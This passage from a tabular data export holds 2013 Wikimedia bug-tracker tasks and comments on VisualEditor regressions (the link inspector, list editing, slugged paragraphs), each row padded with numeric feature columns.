**Severity**: normal",Unbreak Now!,100.0,1368622500,1368638702.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-glwrzzfq4ph2os2n2f6r,task_description,resolved,True,c1,1,True,False,True,-7,,0.0,0.0,0.0,1.0,1.0,7.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,4.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,12.0,3.0,1.0,6.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,0.0,4.0,4.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,3.6944444444444446,0.6944444444444444,"1. Create a link using the link inspector button
2. Note that autocomplete feature doesn't appear
3. Hit save and note that link is stored as an external link ""[Foo Foo]""

Using the keyboard shortcut, however, works fine (Ctrl+K)

--------------------------
**Version**: unspecified
**Severity**: normal"
228003,VisualEditor: [Regression] Link inspector button doesn't work,Merged into master; will go out with wmf5.,,,1368638702,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-glwrzzfq4ph2os2n2f6r,task_subcomment,,True,c1,1,True,,,-7,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,30.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,1.0,Merged into master; will go out with wmf5.
227998,VisualEditor: [Regression] Link inspector button doesn't work,Related URL: https://gerrit.wikimedia.org/r/63850 (Gerrit Change Icda3305e422bedaf0d490b8fbe51f55b8c8e79e8),,,1368626182,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-glwrzzfq4ph2os2n2f6r,task_subcomment,,True,c1,1,False,,,-7,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change Icda3305e422bedaf0d490b8fbe51f55b8c8e79e8)
227992,VisualEditor: [Regression] Link inspector button doesn't work,"Looks like the format for providing toolbar options was changed, so the MW override isn't working. As a result we're rendering a link button instead of an mwLink. Ctrl+K works because the mwLink is still registered with the command registry (should commands work without the button being rendered?)",,,1368625612,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-glwrzzfq4ph2os2n2f6r,task_subcomment,,True,c1,1,True,,,-7,,0.0,0.0,0.0,5.0,2.0,2.0,0.0,2.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,2.0,0.0,5.0,14.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,14.0,7.0,7.0,4.0,0.0,14.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,14.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,4.482142857142857,0.8392857142857143,"Looks like the format for providing toolbar options was changed, so the MW override isn't working. As a result we're rendering a link button instead of an mwLink. Ctrl+K works because the mwLink is still registered with the command registry (should commands work without the button being rendered?)"
50468,VisualEditor: Pawn appears when creating new list item in Firefox,"1. Go to a page with a bullet or a numbered list. Edit with VisualEditor.

2. Place the cursor at the end of an item of the list. Press enter to create a new item. A new item has been created and the cursor is at the beginning, ready to receive input.

3. Type something.

EXPECTED

You are typing in the new line.


ACTUAL OUTCOME 

A pawn appears at the end of the previous line and there you can also find the text you are typing. If you press Enter again the mess continues to grow. There is no way to clean the scene of the crime. The only way is to jump to ""Edit source"".

This happens at least at mediawiki.org with Firefox 22.0a2 (2013-05-07).

--------------------------
**Version**: unspecified
**Severity**: major",Unbreak Now!,100.0,1368561900,1371142270.0,PHID-USER-lluzkul4z7us4sxkayss,False,,False,PHID-TASK-52eneev7kw444gspkrww,task_description,resolved,True,c1,1,False,False,True,-7,,0.0,0.5,0.0,0.5,0.0,5.5,1.0,0.0,0.0,0.5,0.5,0.0,0.0,0.5,0.5,0.0,0.0,1.5,11.0,0.5,2.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,7.0,1.0,0.0,0.0,2.0,0.5,0.0,0.5,0.0,0.5,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,13.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,10.5,3.0,11.0,0.5,1.5,11.5,0.0,0.0,0.0,0.0,5.5,0.0,1.5,0.0,2.0,11.0,2.5,0.0,1.0,0.0,2.0,0.0,0.0,3.5,0.0,1.0,0.0,0.5,2.0,3.4463166144200628,0.6287878787878788,"1. Go to a page with a bullet or a numbered list. Edit with VisualEditor.

2. Place the cursor at the end of an item of the list. Press enter to create a new item. A new item has been created and the cursor is at the beginning, ready to receive input.

3. Type something.

EXPECTED

You are typing in the new line.


ACTUAL OUTCOME 

A pawn appears at the end of the previous line and there you can also find the text you are typing. If you press Enter again the mess continues to grow. There is no way to clean the scene of the crime. The only way is to jump to ""Edit source"".

This happens at least at mediawiki.org with Firefox 22.0a2 (2013-05-07).

--------------------------
**Version**: unspecified
**Severity**: major"
225176,VisualEditor: Pawn appears when creating new list item in Firefox,"Solid like a rock! 

https://www.mediawiki.org/w/index.php?title=User%3AQgil%2FSandbox&diff=710845&oldid=710844

Thank you very much. The bug I filed has been fixed. Resolving accordingly.",,,1371142270,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-52eneev7kw444gspkrww,task_subcomment,,True,c1,2,False,,,-3,,4.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,25.0,0.0,0.0,8.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,4.0,0.0,0.0,0.0,8.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,3.5416666666666665,0.875,"Solid like a rock! 

URL

Thank you very much. The bug I filed has been fixed. Resolving accordingly."
225170,VisualEditor: Pawn appears when creating new list item in Firefox,@Quim: Are you still able to reproduce this problem? I can't.,,,1371073013,,PHID-USER-s7sn3zjthnxvep34c5ho,False,,,PHID-TASK-52eneev7kw444gspkrww,task_subcomment,,True,c1,2,False,,,-3,,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,13.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,20.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,13.0,7.0,0.0,7.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8,1.0,SCREEN_NAME: Are you still able to reproduce this problem? I can't.
225163,VisualEditor: Pawn appears when creating new list item in Firefox,"I'm getting similar behaviour on en.wp if you use the slug at the beginning of the article, then change your mind and try to delete the text you've inserted. General behaviour with slug lines?",,,1370177174,,PHID-USER-n6a5asuonlcdc2xmndl2,False,,,PHID-TASK-52eneev7kw444gspkrww,task_subcomment,,True,c1,1,False,,,-5,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.0,0.0,5.0,0.0,0.0,0.0,3.0,0.0,3.0,15.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,3.0,3.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,10.0,15.0,3.0,3.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,4.076923076923077,0.8461538461538461,"I'm getting similar behaviour on en.wp if you use the slug at the beginning of the article, then change your mind and try to delete the text you've inserted. General behaviour with slug lines?"
50390,VisualEditor: Indenting & unindenting multiple list items fails,"Problems in IndentationAction that Ed it working on right now.

--------------------------
**Version**: unspecified
**Severity**: major",Unbreak Now!,100.0,1368392940,1368471149.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-r45sjfea3cr6rhagxvom,task_description,resolved,True,c1,1,True,False,True,-8,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,7.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,4.275862068965517,0.6896551724137931,"Problems in IndentationAction that Ed it working on right now.

--------------------------
**Version**: unspecified
**Severity**: major"
220747,VisualEditor: Indenting & unindenting multiple list items fails,Code is merged into wmf4.,,,1368471026,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-r45sjfea3cr6rhagxvom,task_subcomment,,True,c1,1,True,,,-7,,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,1.0,Code is merged into wmf4.
220742,VisualEditor: Indenting & unindenting multiple list items fails,Related URL: https://gerrit.wikimedia.org/r/63485 (Gerrit Change I5ce0c385214f30c5e5c66b5b5b755c9937267cd0),,,1368466116,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-r45sjfea3cr6rhagxvom,task_subcomment,,True,c1,1,False,,,-7,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I5ce0c385214f30c5e5c66b5b5b755c9937267cd0)
220736,VisualEditor: Indenting & unindenting multiple list items fails,*** Bug 48069 has been marked as a duplicate of this bug. ***,,,1368465449,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-r45sjfea3cr6rhagxvom,task_subcomment,,True,c1,1,True,,,-7,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 48069 has been marked as a duplicate of this bug. ***
220731,VisualEditor: Indenting & unindenting multiple list items fails,"Problem here was with surface fragments and translate range in the data model. The ranges were getting out of sync, so after (un)indenting the first item, and subsequent ones would fail.",,,1368465399,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-r45sjfea3cr6rhagxvom,task_subcomment,,True,c1,1,True,,,-7,,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,14.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,6.0,6.0,0.0,6.0,8.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.333333333333333,0.8888888888888888,"Problem here was with surface fragments and translate range in the data model. The ranges were getting out of sync, so after (un)indenting the first item, and subsequent ones would fail."
220724,VisualEditor: Indenting & unindenting multiple list items fails,Fixed by https://gerrit.wikimedia.org/r/#/c/63394/,,,1368393902,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-r45sjfea3cr6rhagxvom,task_subcomment,,True,c1,1,True,,,-8,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,1.0,Fixed by URL
50386,VisualEditor: [Regression] Lists badly broken again,"

--------------------------
**Version**: unspecified
**Severity**: critical",Unbreak Now!,100.0,1368386340,1368477644.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-iowbxqgcysomfeaijbgp,task_description,resolved,True,c1,1,True,False,True,-8,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.111111111111111,0.5,"

--------------------------
**Version**: unspecified
**Severity**: critical"
220417,VisualEditor: [Regression] Lists badly broken again,"verified for any page in http://en.wikipedia.beta.wmflabs.org/
using Chrome Version 26.0.1410.65 MAC OS X 10.8.5",,,1384458232,,PHID-USER-24djtv3gj5gua2y6u2g5,False,,,PHID-TASK-iowbxqgcysomfeaijbgp,task_subcomment,,True,c1,3,False,,,19,,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,13.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.4,1.0,"verified for any page in URL
using Chrome Version 26.0.1410.65 MAC OS X 10.8.5"
220413,VisualEditor: [Regression] Lists badly broken again,Fixed in https://gerrit.wikimedia.org/r/63413. Will close after it gets merged.,,,1368428040,,PHID-USER-s7sn3zjthnxvep34c5ho,False,,,PHID-TASK-iowbxqgcysomfeaijbgp,task_subcomment,,True,c1,1,False,,,-7,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,18.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.090909090909091,0.9090909090909091,Fixed in GERRIT_URL. Will close after it gets merged.
220410,VisualEditor: [Regression] Lists badly broken again,Related URL: https://gerrit.wikimedia.org/r/63413 (Gerrit Change I8d7aeffc8166487806e3489b054f508c5e9418ff),,,1368427993,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-iowbxqgcysomfeaijbgp,task_subcomment,,True,c1,1,False,,,-7,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I8d7aeffc8166487806e3489b054f508c5e9418ff)
220407,VisualEditor: [Regression] Lists badly broken again,"By stepping back through the commit log I've isolated it down to this commit by Inez: https://gerrit.wikimedia.org/r/#/c/63223/1

Assigning the bug to him.",,,1368388912,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-iowbxqgcysomfeaijbgp,task_subcomment,,True,c1,1,True,,,-8,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,19.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,23.0,8.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,3.6923076923076925,0.8846153846153846,"By stepping back through the commit log I've isolated it down to this commit by Inez: URL

Assigning the bug to him."
220404,VisualEditor: [Regression] Lists badly broken again,"1. Hitting return inside a list item cases the paragraph to split, not the listitem (that's what shift-return should do)
2. Unlisting the two line list item created in 1. causes the second line to completely disappear
3. Listing two paragraphs only lists the first one, and adds an extra paragraph between them",,,1368386572,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-iowbxqgcysomfeaijbgp,task_subcomment,,True,c1,1,True,,,-8,,0.0,0.0,2.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,8.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,6.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,3.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,11.0,0.0,5.0,0.0,2.0,12.0,0.0,0.0,0.0,0.0,5.0,0.0,8.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,3.0,2.0,5.0,0.0,0.0,3.0,3.9393939393939394,0.7424242424242424,"1. Hitting return inside a list item cases the paragraph to split, not the listitem (that's what shift-return should do)
2. Unlisting the two line list item created in 1. causes the second line to completely disappear
3. Listing two paragraphs only lists the first one, and adds an extra paragraph between them"
50385,VisualEditor: Delete contents of slugged paragraph results in double line break visible,"* Create a page starting with a list ('* list' is sufficient)
* Enter some text into the slugged paragraph above the list, then delete it with backspaces
* The paragraph now doubles in height, inspecting the DOM you see a <br> has appeared from nowhere:
  <p><br><span slug></span></p>

Also this paragraph gets sent to Parsoid resulting in an extra line break.

Removing the text by using undo doesn't result in this bug.

--------------------------
**Version**: unspecified
**Severity**: normal",Unbreak Now!,100.0,1368384600,1371781383.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-vv7dhxcel5yesltb4ctu,task_description,resolved,True,c1,1,True,False,True,-8,,0.5,0.0,0.0,0.0,1.0,3.5,0.5,0.0,0.0,0.0,2.5,2.0,0.0,0.0,0.0,0.0,0.5,4.0,6.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,1.5,4.0,0.5,0.5,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.5,2.0,0.0,0.5,0.0,0.0,0.0,12.5,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,5.5,0.5,6.5,0.0,0.0,7.5,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,1.0,6.5,3.0,0.0,1.0,0.0,1.0,0.0,0.0,2.5,0.0,4.0,0.0,0.0,3.0,3.928956228956229,0.7338383838383838,"* Create a page starting with a list ('* list' is sufficient)
* Enter some text into the slugged paragraph above the list, then delete it with backspaces
* The paragraph now doubles in height, inspecting the DOM you see a <br> has appeared from nowhere:
  <p><br><span slug></span></p>

Also this paragraph gets sent to Parsoid resulting in an extra line break.

Removing the text by using undo doesn't result in this bug.

--------------------------
**Version**: unspecified
**Severity**: normal"
220362,VisualEditor: Delete contents of slugged paragraph results in double line break visible,This is fixed with my refactor to handleDelete method.,,,1372369906,,PHID-USER-s7sn3zjthnxvep34c5ho,False,,,PHID-TASK-vv7dhxcel5yesltb4ctu,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,20.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.6,1.0,This is fixed with my refactor to handleDelete method.
220359,VisualEditor: Delete contents of slugged paragraph results in double line break visible,Deeming that this is now fixed.,,,1371781383,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-vv7dhxcel5yesltb4ctu,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,14.0,0.0,14.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,14.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7142857142857144,1.0,Deeming that this is now fixed.
220355,VisualEditor: Delete contents of slugged paragraph results in double line break visible,"(In reply to comment #1)
> We are not placing slugs around lists anymore so this bug can't be
> reproduced, however I know what was root cause of it (native handling of 
> deletion) and I'm working on it now.

